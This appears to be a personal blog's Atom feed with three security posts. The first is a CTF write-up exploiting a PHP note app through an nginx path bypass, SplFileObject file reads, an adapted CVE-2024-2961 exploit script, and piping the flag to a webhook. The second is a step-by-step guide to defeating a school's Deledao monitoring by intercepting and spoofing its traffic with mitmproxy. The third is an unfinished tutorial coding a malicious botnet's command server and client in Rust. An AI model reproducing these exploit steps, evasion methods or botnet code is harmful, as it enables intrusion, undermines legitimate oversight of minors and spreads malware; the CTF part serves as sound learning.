<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://johnswiftc.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://johnswiftc.github.io/" rel="alternate" type="text/html" /><updated>2026-03-23T16:55:05+00:00</updated><id>https://johnswiftc.github.io/feed.xml</id><title type="html">John’s Blog</title><subtitle>Having fun</subtitle><entry><title type="html">Cracking 0xNote with CNEXT</title><link href="https://johnswiftc.github.io/ctf/php/web/exploitation/2026/01/25/0xNote.html" rel="alternate" type="text/html" title="Cracking 0xNote with CNEXT" /><published>2026-01-25T11:30:15+00:00</published><updated>2026-01-25T11:30:15+00:00</updated><id>https://johnswiftc.github.io/ctf/php/web/exploitation/2026/01/25/0xNote</id><content type="html" xml:base="https://johnswiftc.github.io/ctf/php/web/exploitation/2026/01/25/0xNote.html"><![CDATA[<h1 id="prelude">Prelude</h1>

<p>0xNote is a challenge I played during 0xL4ugh CTF 2025, which itself was a lot of fun! Playing with b01lers up to this point has taught me a lot, so I decided to shoot for the stars, and I landed at 0xNote.</p>

<p>0xNote is a web challenge taking the form of a simple note taking app, a user logs in, grabs a session, and is able to make write notes on the page. The flag is stored in a text file, <code class="language-plaintext highlighter-rouge">/flag.txt</code> within the container, however this file does not give read permissions to the <code class="language-plaintext highlighter-rouge">nobody</code> group, which server runs in.</p>

<p>Instead, a <code class="language-plaintext highlighter-rouge">readflag</code> binary is provided which is able to read flag contents and send them to <code class="language-plaintext highlighter-rouge">stdout</code>, making its execution the main target of our exploit.</p>

<h1 id="potential-clues">Potential Clues</h1>

<p>Reviewing the server’s PHP gives us some initial entry points. First, lets take a look at <code class="language-plaintext highlighter-rouge">index.html</code>. More specifically, how notes are rendered.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"note-display"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;h3&gt;</span>Your Note<span class="nt">&lt;/h3&gt;</span>
  <span class="nt">&lt;div</span> <span class="na">class=</span><span class="s">"note-content"</span> <span class="na">id=</span><span class="s">"noteContent"</span><span class="nt">&gt;</span>
    <span class="cp">&lt;?= new $_SESSION["color"]($_SESSION["note"]) ?&gt;</span>
  <span class="nt">&lt;/div&gt;</span>
<span class="nt">&lt;/div&gt;</span>
</code></pre></div></div>

<p>Here we see we instance the session color with an argument of the note text. If you are familiar with PHP, the issue should be sticking out at you: if we can control what class <code class="language-plaintext highlighter-rouge">$_SESSION["color"]</code> is, we can pass whatever single argument we want with the <code class="language-plaintext highlighter-rouge">$_SESSION["note"]</code> value, which we control by creating a note.</p>

<p>So, how can we control the session’s color class?</p>

<h1 id="bad-nginx">Bad Nginx</h1>

<p>Looking at <code class="language-plaintext highlighter-rouge">premium.php</code>, we see an endpoint for changing the color via a POST request. So we can just hit that right? Well not immediately. The server lives behind a reverse proxy, nginx, with the following rule:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">server</span> <span class="p">{</span>

<span class="kn">listen</span> <span class="mi">80</span><span class="p">;</span>

<span class="kn">index</span> <span class="s">index.php</span> <span class="s">index.html</span><span class="p">;</span>

	<span class="kn">location</span> <span class="p">=</span> <span class="n">/premium.php</span> <span class="p">{</span>
		<span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="kn">location</span> <span class="n">/</span> <span class="p">{</span>
		<span class="kn">try_files</span> <span class="nv">$uri</span> <span class="nv">$uri</span><span class="n">/</span> <span class="n">/index.php?</span><span class="nv">$args</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="kn">location</span> <span class="p">~</span> <span class="sr">^(/.*\.php)$</span> <span class="p">{</span>
		<span class="kn">root</span> <span class="n">/var/www/html</span><span class="p">;</span>
		<span class="kn">include</span> <span class="s">fastcgi_params</span><span class="p">;</span>
		<span class="kn">fastcgi_pass</span> <span class="nf">php-fpm</span><span class="p">:</span><span class="mi">9000</span><span class="p">;</span>
		<span class="kn">fastcgi_param</span> <span class="s">SCRIPT_FILENAME</span> <span class="nv">$document_root$fastcgi_script_name</span><span class="p">;</span>
		<span class="kn">fastcgi_index</span> <span class="s">index.php</span><span class="p">;</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So we can’t hit <code class="language-plaintext highlighter-rouge">/premium.php</code> directly, but notice the rule is a hard block. If we can craft a path that avoids the specific block to <code class="language-plaintext highlighter-rouge">/premium.php</code>, but still has nginx forward requests to it, we should be good. Turns out, it’s very simple, as I was able to send requests to <code class="language-plaintext highlighter-rouge">/premium.php/x.php</code>, which fits the regex and routes to <code class="language-plaintext highlighter-rouge">premium.php</code>.</p>

<p>Now that we have a method for running a class constructor with any argument, how can we use that to get the flag?</p>

<h1 id="splfileobject">SplFileObject</h1>

<p><code class="language-plaintext highlighter-rouge">SplFileObject</code> is a PHP class which opens a file and returns the first line. You can use a series of wrappers to extract a whole file as well by encoding the file opened into Base64.</p>

<p>Knowing this, I played around a bit. I could open sessions in the <code class="language-plaintext highlighter-rouge">/tmp</code> directory, I could see the contents of the <code class="language-plaintext highlighter-rouge">readflag</code> binary, but not execute it.</p>

<p>If we have arbitrary file read with SplFileObject, how can we get to RCE? I spent a long time playing with phar, but as
a teammate more familiar with PHP pointed out to me, this route is very unlikely on PHP 8.</p>

<p>What can we do?</p>

<h1 id="lets-use-google">Let’s Use Google</h1>

<p>As my limited ideas with PHP kept falling apart, I turned to the internet to solve my problem. Mainly, I was hoping to find some CVE for this version of PHP that may relate to the current knowledge I have of the challenge, and as it turns out, there is.</p>

<p><strong>CVE-2024-2961</strong> - A buffer overflow exploit for glibc’s iconv.</p>

<p>Coincidentally, its well known <a href="https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Charles%20Fol%20-%20Iconv%20set%20the%20charset%20to%20RCE%20exploiting%20the%20glibc%20to%20hack%20the%20PHP%20engine.pdf">how this affects PHP</a>, especially when <em>arbitrary reads with wrappers</em> are available.</p>

<h1 id="final-exploit">Final Exploit</h1>

<p>Finally, I found a great repo <a href="https://github.com/ambionics/cnext-exploits">cnext-exploits</a> which did most of the heavy lifting for me.</p>

<p>Running this without modification will not work, however. I had to write my own remote class and patch a few lines to match the situation of the challenge.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">Remote</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">url</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">url</span> <span class="o">=</span> <span class="n">url</span><span class="p">.</span><span class="n">rstrip</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">session</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">_setup_session</span><span class="p">()</span>

    <span class="k">def</span> <span class="nf">_setup_session</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">user</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"cnext_</span><span class="si">{</span><span class="n">random</span><span class="p">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">10000</span><span class="p">,</span> <span class="mi">99999</span><span class="p">)</span><span class="si">}</span><span class="s">"</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">url</span><span class="si">}</span><span class="s">/register.php"</span><span class="p">,</span>
                          <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">"username"</span><span class="p">:</span> <span class="n">user</span><span class="p">,</span> <span class="s">"password"</span><span class="p">:</span> <span class="s">"test"</span><span class="p">},</span>
                          <span class="n">allow_redirects</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">url</span><span class="si">}</span><span class="s">/login.php"</span><span class="p">,</span>
                          <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">"username"</span><span class="p">:</span> <span class="n">user</span><span class="p">,</span> <span class="s">"password"</span><span class="p">:</span> <span class="s">"test"</span><span class="p">},</span>
                          <span class="n">allow_redirects</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
        <span class="n">msg_info</span><span class="p">(</span><span class="sa">f</span><span class="s">"Session created as [i]</span><span class="si">{</span><span class="n">user</span><span class="si">}</span><span class="s">[/]"</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">send</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">path</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">url</span><span class="si">}</span><span class="s">/premium.php/x.php"</span><span class="p">,</span>
                          <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">"color"</span><span class="p">:</span> <span class="s">"SplFileObject"</span><span class="p">})</span>
        <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">url</span><span class="si">}</span><span class="s">/index.php"</span><span class="p">,</span>
                          <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">"note"</span><span class="p">:</span> <span class="n">path</span><span class="p">})</span>
        <span class="n">r</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="bp">self</span><span class="p">.</span><span class="n">url</span><span class="si">}</span><span class="s">/index.php"</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">r</span>

    <span class="k">def</span> <span class="nf">download</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">path</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bytes</span><span class="p">:</span>
        <span class="n">filter_path</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"php://filter/convert.base64-encode/resource=</span><span class="si">{</span><span class="n">path</span><span class="si">}</span><span class="s">"</span>
        <span class="n">response</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">filter_path</span><span class="p">)</span>

        <span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span>
            <span class="sa">r</span><span class="s">'&lt;div class="note-content"[^&gt;]*&gt;(.*?)&lt;/div&gt;'</span><span class="p">,</span> <span class="n">response</span><span class="p">.</span><span class="n">text</span><span class="p">,</span> <span class="n">re</span><span class="p">.</span><span class="n">DOTALL</span><span class="p">)</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">match</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">b</span><span class="s">""</span>

        <span class="n">content</span> <span class="o">=</span> <span class="n">match</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="n">strip</span><span class="p">()</span>
        <span class="n">content</span> <span class="o">=</span> <span class="n">content</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">"&amp;lt;"</span><span class="p">,</span> <span class="s">"&lt;"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"&amp;gt;"</span><span class="p">,</span> <span class="s">"&gt;"</span><span class="p">)</span>
        <span class="n">content</span> <span class="o">=</span> <span class="n">content</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">"&amp;amp;"</span><span class="p">,</span> <span class="s">"&amp;"</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="s">"&amp;quot;"</span><span class="p">,</span> <span class="s">'"'</span><span class="p">)</span>

        <span class="k">try</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">b64_module</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">content</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'latin-1'</span><span class="p">)</span>
</code></pre></div></div>

<p>Then, the original test of exploitation does not match the same format the challenge will return with our custom Remote class, so I also had to patch the check_vulnerable function.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">check_vulnerable</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="bp">None</span><span class="p">:</span>
    <span class="c1"># Skip data:// test - SplFileObject can't read it directly
</span>    <span class="c1"># But php://filter/...resource=data:... DOES work
</span>
    <span class="c1"># Just test basic file read
</span>    <span class="n">passwd</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">remote</span><span class="p">.</span><span class="n">download</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span>
    <span class="k">if</span> <span class="sa">b</span><span class="s">"root:"</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">passwd</span><span class="p">:</span>
        <span class="n">failure</span><span class="p">(</span><span class="s">"Cannot read /etc/passwd"</span><span class="p">)</span>

    <span class="c1"># Test iconv charset availability
</span>    <span class="bp">self</span><span class="p">.</span><span class="n">remote</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"php://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=/etc/passwd"</span><span class="p">)</span>
</code></pre></div></div>

<p>Finally, I was able to <code class="language-plaintext highlighter-rouge">/readflag | curl to my webhook</code>.</p>

<p>Fun challenge!</p>

<h1 id="conclusion">Conclusion</h1>

<p>I was able to secure the second solve on this challenge, and by the end of the CTF, there were only 8 solves on it.</p>

<p>I’m pretty happy with this, especially as a newer player on b01lers, so I’m hoping this will give me some good knowledge for the future!</p>]]></content><author><name></name></author><category term="ctf" /><category term="php" /><category term="web" /><category term="exploitation" /><summary type="html"><![CDATA[Prelude]]></summary></entry><entry><title type="html">Defeating Deledao</title><link href="https://johnswiftc.github.io/cybersecurity/proxy/2025/05/30/defeatingdeledao.html" rel="alternate" type="text/html" title="Defeating Deledao" /><published>2025-05-30T16:30:15+00:00</published><updated>2025-05-30T16:30:15+00:00</updated><id>https://johnswiftc.github.io/cybersecurity/proxy/2025/05/30/defeatingdeledao</id><content type="html" xml:base="https://johnswiftc.github.io/cybersecurity/proxy/2025/05/30/defeatingdeledao.html"><![CDATA[<h1 id="we-had-a-problem">We had a problem,</h1>

<p>I could no longer browse CS:GO cases at school. I couldn’t watch my YouTube, couldn’t read my docs, and couldn’t even play Minecraft.</p>

<p>Deledao is a school-focused solution designed to manage and monitor student Chromebooks. The software broadcasts the current tabs to a server, where some AI algorithm determines whether or not the page should be allowed. Every image is blurred; everything is visible.</p>

<p>After Deledao finishes showing your every move, your teacher can enforce browser blocks through a Chrome extension installed on the laptop.</p>

<p>It also ensured the blocking of anything related to LGBTQ issues, which I believe was a manual school filter.</p>

<p>My school spent thousands on this software, but I was able to bypass it within a few days. Now that I have safely graduated, I will show you how to do the same.</p>

<h1 id="how-does-it-work">How does it work?</h1>

<p>Deledao sends REST API requests to a backend server periodically, which then receives a response indicating whether the request can be displayed. It scans all text, all images, and all video to ensure it is “safe.”</p>

<p>Admins are provided with a local network IP address so that the Chromebook screen can be streamed efficiently to the admin’s PC.</p>

<h1 id="setting-up-a-proxy-server">Setting up a proxy server</h1>

<blockquote>
  <p>This will not be technical. I’m trying to make this as easy as possible to replicate, with no technical knowledge required.</p>
</blockquote>

<p>With no server authentication, the solution should be obvious: all you must do is proxy out the responses to the backend, and you’re done. You can also, as I figured out later, spoof fake requests through your proxy to change the computer that your screen is viewing; i.e., my screen appears to be normal, but it’s my friend’s in reality. (<em>Remember the local IP included in the request?</em>)</p>

<p>The specifics of what to do from here are simple: download <strong>mitmproxy</strong>. This tool serves as an HTTPS proxy that is easily scriptable, making it ideal for our use case.</p>

<p>Find a computer to run during school, download mitmproxy, and run the following command: <code class="language-plaintext highlighter-rouge">mitmproxy --set block_global=false --set intercept=deledao --set listen_port=8080</code>. This will allow for connections outside your local network and intercept all requests made to Deledao.</p>

<p>Next, port forward this local machine in your router config. There is no single way to do this, as all routers implement it slightly differently, so you may need to consult the documentation for your specific router. Once you get there, you need the <strong><em>LOCAL IP ADDRESS</em></strong> of your mitmproxy computer. Look this up as well; it’s dependent on your OS. Once you know how to port forward and the local IP address, create a port forwarding rule to that local IP at port 8080. Some, if not all, routers allow you to select two different ports. For simplicity, put 8080 for both of these values.</p>

<blockquote>
  <p>The port being 8080 is not required. I just chose it when I set mine up. If, for some reason, you need to use a different port, ensure you change the listen_port option in the above command.</p>
</blockquote>

<h1 id="setting-up-chromebooks">Setting up Chromebooks</h1>

<p>Once you have a proxy server set up and running, determine your home’s public IP address and remember the port number you are using.</p>

<p>The setup of a proxy may differ depending on your school’s Chromebook policy. Mine would not allow a proxy config on the official network, but luckily, it would allow it on a VPN connection or a phone hotspot connection.</p>

<blockquote>
  <p>If you are technical, set up an OpenVPN docker container. This means you can avoid using phone data. This, of course, also means your proxy IP will change back to the local address on the VPN. Alternatively, find a free server config online.</p>
</blockquote>

<p>Next, navigate to mitm.it in your browser. This will let you download the root certificate for HTTPS communications.</p>

<blockquote>
  <p>Note: This will allow the host of mitmproxy to see all communications, even over HTTPS. Use with caution!</p>
</blockquote>

<p>This is useful for scripts that target specific parts of the requests to Deledao, but it can also cause breaches of privacy.</p>

<p>Look up the procedure for adding a new certificate authority to a Chromebook, as it varies by device and version.</p>

<h1 id="all-done">All done!</h1>

<p>Now you’re done! This method works as long as your server is active. I was fortunate to have my own server at home, which I use to host various things, allowing me to quickly open a port and keep it running constantly.</p>]]></content><author><name></name></author><category term="cybersecurity" /><category term="proxy" /><summary type="html"><![CDATA[We had a problem,]]></summary></entry><entry><title type="html">Building a Botnet in Rust</title><link href="https://johnswiftc.github.io/cybersecurity/2025/03/12/makingabotnet.html" rel="alternate" type="text/html" title="Building a Botnet in Rust" /><published>2025-03-12T12:00:00+00:00</published><updated>2025-03-12T12:00:00+00:00</updated><id>https://johnswiftc.github.io/cybersecurity/2025/03/12/makingabotnet</id><content type="html" xml:base="https://johnswiftc.github.io/cybersecurity/2025/03/12/makingabotnet.html"><![CDATA[<p>In this fun and informational guide, I will show and guide you through some of the basic prinicpals of building your own botnet! I had this idea a while ago and now that
my Rust skills are better-than-none, I feel confident in my ability to make a cool project like this. Like always, using this or software like this on machines that are not yours (or on targets that are not yours, as you will see later) is completely illegal! My goal is to have fun, so don’t be a loser and ruin it for me.</p>

<h1 id="the-basics">The Basics</h1>

<p>A botnet, if you didn’t know, is really just a network of computers controlled by some other computer/computers. This network can be used for many things, but in this article we will design
a classic malicious botnet to run commands on victim machines (think DDoS, Bitcoin mining, etc).
In this tutorial, I will create a botnet with a really easy server/client model, where every infected machine reports to one central server for commands. Sounds easy enough, right?</p>

<blockquote>
  <p>All the code in this tutorial assumes that you are semi-competent at Rust. There is nothing crazy or too out there, but you should be familiar with the Tokio RunTime and Async.</p>
</blockquote>

<h1 id="getting-a-connection">Getting a Connection</h1>

<p>TCP or UDP is the big question when it comes to networking. I prefer TCP over UDP for these applications for several reasons, and it typically has to do with the client. Some operating systems and configurations require special firewall permissions to get a UDP socket, while acting as the client in a TCP connection does not require any special configuration. This means that an infected machine can easily get a connection back to our evil host!</p>

<p>We will start with some work on the host machine, creating a TcpListener to open up a socket and start listening for connections.</p>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"><span class="c1">// Keep in mind, we are using the tokio runtime here, so get your tokio imports down.</span>
<span class="k">use</span> <span class="nn">std</span><span class="p">::</span><span class="nn">error</span><span class="p">::</span><span class="n">Error</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">tokio</span><span class="p">::</span><span class="nn">net</span><span class="p">::{</span><span class="n">TcpListener</span><span class="p">,</span> <span class="n">TcpStream</span><span class="p">};</span>

<span class="nd">#[tokio::main]</span>
<span class="k">async</span> <span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="k">-&gt;</span> <span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span> <span class="nb">Box</span><span class="o">&lt;</span><span class="k">dyn</span> <span class="n">Error</span><span class="o">&gt;&gt;</span> <span class="p">{</span>
<span class="k">let</span> <span class="n">listener</span> <span class="o">=</span> <span class="nn">TcpListener</span><span class="p">::</span><span class="nf">bind</span><span class="p">(</span><span class="s">"0.0.0.0:8080"</span><span class="p">)</span><span class="k">.await</span><span class="o">?</span> <span class="c1">// Get a TcpListener on port 8080</span>

    <span class="k">loop</span> <span class="p">{</span>
        <span class="k">let</span> <span class="p">(</span><span class="n">socket</span><span class="p">,</span> <span class="n">_</span><span class="p">)</span> <span class="o">=</span> <span class="n">listener</span><span class="nf">.accept</span><span class="p">()</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>

        <span class="nn">tokio</span><span class="p">::</span><span class="nf">spawn</span><span class="p">(</span><span class="k">async</span> <span class="k">move</span><span class="p">{</span>
            <span class="nf">handle_conn</span><span class="p">(</span><span class="n">socket</span><span class="p">)</span><span class="k">.await</span><span class="p">;</span>
        <span class="p">});</span>
    <span class="p">}</span>

<span class="p">}</span></code></pre></figure>

<p>Notice a few quick things here: we have a function to handle our connection, and we ignoring something when we destructure into socket. We are ignoring the peer SockAddr.</p>

<blockquote>
  <p>For those unfamiliar with Tokio or Rust networking, this creates a new task in parallel for every new connection.</p>
</blockquote>

<p>Now, let’s make a function to handle a TcpStream. We will be using 1024 byte buffers for messages between the server and client. This stipulation is important for later when we get to control server authentication.</p>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"><span class="k">async</span> <span class="k">fn</span> <span class="nf">handle_conn</span><span class="p">(</span><span class="k">mut</span> <span class="n">stream</span><span class="p">:</span> <span class="n">TcpStream</span><span class="p">)</span> <span class="p">{</span>
<span class="k">let</span> <span class="p">(</span><span class="k">mut</span> <span class="n">reader</span><span class="p">,</span> <span class="k">mut</span> <span class="n">writer</span><span class="p">)</span> <span class="o">=</span> <span class="n">stream</span><span class="nf">.split</span><span class="p">();</span>

    <span class="k">let</span> <span class="k">mut</span> <span class="n">buf</span> <span class="o">=</span> <span class="nd">vec!</span><span class="p">[</span><span class="mi">0u8</span><span class="p">;</span> <span class="mi">1024</span><span class="p">];</span>

    <span class="k">let</span> <span class="n">n</span> <span class="o">=</span> <span class="n">reader</span><span class="nf">.read</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span> <span class="n">buf</span><span class="p">)</span><span class="k">.await</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Failed to read from reader"</span><span class="p">);</span>
    <span class="c1">// Remember, this function is being ran in a tokio task.</span>
    <span class="c1">// When a pask panic!s, the task just ends and causes no issues.</span>
    <span class="c1">// So we don't worry about good error handling that much.</span>

    <span class="nd">println!</span><span class="p">(</span><span class="s">"Recieved from client: {}"</span><span class="p">,</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from_utf8_lossy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="p">]));</span>

    <span class="c1">// Now a little bit of work to ensure that our message is always 1024 bytes.</span>
    <span class="c1">// The message being sent, the command, will be set as a command line argument.</span>
    <span class="c1">// So that we can easily deploy an action with just notbotcontrol "do whatever" in the terminal.</span>

    <span class="c1">// Sets all bytes in buf to 0 again</span>
    <span class="k">for</span> <span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">val</span><span class="p">)</span> <span class="k">in</span> <span class="n">buf</span><span class="nf">.iter_mut</span><span class="p">()</span><span class="nf">.enumerate</span><span class="p">()</span> <span class="p">{</span>
        <span class="o">*</span><span class="n">val</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="c1">// Sets the buffer with the arg (dont worry about</span>
    <span class="c1">// the actual cl argument yet, we will get there later.)</span>
    <span class="k">let</span> <span class="n">arg</span> <span class="o">=</span> <span class="nn">String</span><span class="p">::</span><span class="nf">from</span><span class="p">(</span><span class="s">"My command!"</span><span class="p">);</span>
    <span class="n">arg</span><span class="nf">.into_bytes</span><span class="p">()</span><span class="nf">.iter</span><span class="p">()</span><span class="nf">.enumerate</span><span class="p">()</span><span class="nf">.for_each</span><span class="p">(|</span><span class="n">index</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">|</span> <span class="p">{</span>
        <span class="n">buf</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
    <span class="p">});</span>

    <span class="n">writer</span><span class="nf">.write_all</span><span class="p">(</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">[</span><span class="o">..</span><span class="p">])</span><span class="k">.await</span><span class="nf">.expect</span><span class="p">(</span><span class="s">"Writer Failed"</span><span class="p">);</span>

    <span class="n">writer</span><span class="nf">.shutdown</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>

<span class="p">}</span></code></pre></figure>

<p>Here we have a basic TCP server set up, taking in a message and responding with its own. Perfect!</p>

<p>Now let’s get to the client.</p>

<p>A feature we will for sure need in our client is the ability to continiously connect to a server. With our current model, the server is not continuously running, rather it is just responding when
up. For this, let’s make a helper function to always attempt for a connection.</p>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"><span class="k">use</span> <span class="nn">tokio</span><span class="p">::</span><span class="nn">time</span><span class="p">::{</span><span class="n">sleep</span><span class="p">,</span> <span class="n">Duration</span><span class="p">};</span>
<span class="k">use</span> <span class="nn">tokio</span><span class="p">::</span><span class="nn">net</span><span class="p">::</span><span class="n">TcpStream</span><span class="p">;</span>

<span class="k">const</span> <span class="n">CONTROL</span><span class="p">:</span> <span class="o">&amp;</span><span class="nb">str</span> <span class="o">=</span> <span class="s">"127.0.0.1:8080"</span><span class="p">;</span> <span class="c1">// Ip of control server</span>
<span class="c1">// We will talk about covering this trail later.</span>

<span class="k">async</span> <span class="k">fn</span> <span class="n">get</span><span class="o">*</span><span class="nf">stream</span><span class="p">()</span> <span class="k">-&gt;</span> <span class="n">TcpStream</span> <span class="p">{</span>
<span class="k">loop</span> <span class="p">{</span>
<span class="k">match</span> <span class="nn">TcpStream</span><span class="p">::</span><span class="nf">connect</span><span class="p">(</span><span class="n">CONTROL</span><span class="p">)</span><span class="k">.await</span> <span class="p">{</span>
<span class="nf">Ok</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="k">return</span> <span class="n">s</span><span class="p">,</span>
<span class="nf">Err</span><span class="p">(</span><span class="o">*</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="p">{</span>
<span class="nf">sleep</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_millis</span><span class="p">(</span><span class="mi">5000</span><span class="p">))</span><span class="k">.await</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>

<p>The principal is pretty simple: if we get a stream return it, if not we sleep for 5 seconds and try again until we do get it.</p>

<p>Let’s get a message.</p>

<figure class="highlight"><pre><code class="language-rust" data-lang="rust"> <span class="nd">#[tokio::main]</span>
<span class="k">async</span> <span class="k">fn</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>

    <span class="c1">// Start a communication loop</span>
    <span class="k">loop</span> <span class="p">{</span>
        <span class="nf">sleep</span><span class="p">(</span><span class="nn">Duration</span><span class="p">::</span><span class="nf">from_millis</span><span class="p">(</span><span class="mi">5000</span><span class="p">))</span><span class="k">.await</span><span class="p">;</span>

        <span class="k">let</span> <span class="k">mut</span> <span class="n">stream</span> <span class="o">=</span> <span class="nf">get_stream</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
        <span class="k">let</span> <span class="p">(</span><span class="k">mut</span> <span class="n">reader</span><span class="p">,</span> <span class="k">mut</span> <span class="n">writer</span><span class="p">)</span> <span class="o">=</span> <span class="n">stream</span><span class="nf">.split</span><span class="p">();</span>

        <span class="c1">// Every time we use a reader or writer, we need to check for an error</span>
        <span class="c1">// that prompts us to reconnect to the control server.</span>

        <span class="k">if</span> <span class="k">let</span> <span class="nf">Err</span><span class="p">(</span><span class="n">_</span><span class="p">)</span> <span class="o">=</span> <span class="n">writer</span><span class="nf">.write_all</span><span class="p">(</span><span class="s">b"Hello!"</span><span class="p">)</span><span class="k">.await</span> <span class="p">{</span>
            <span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">writer</span><span class="nf">.shutdown</span><span class="p">()</span><span class="k">.await</span><span class="p">;</span>
            <span class="k">continue</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">let</span> <span class="k">mut</span> <span class="n">buf</span> <span class="o">=</span> <span class="nd">vec!</span><span class="p">[</span><span class="mi">0u8</span><span class="p">;</span> <span class="mi">1024</span><span class="p">];</span>

        <span class="c1">// Message</span>

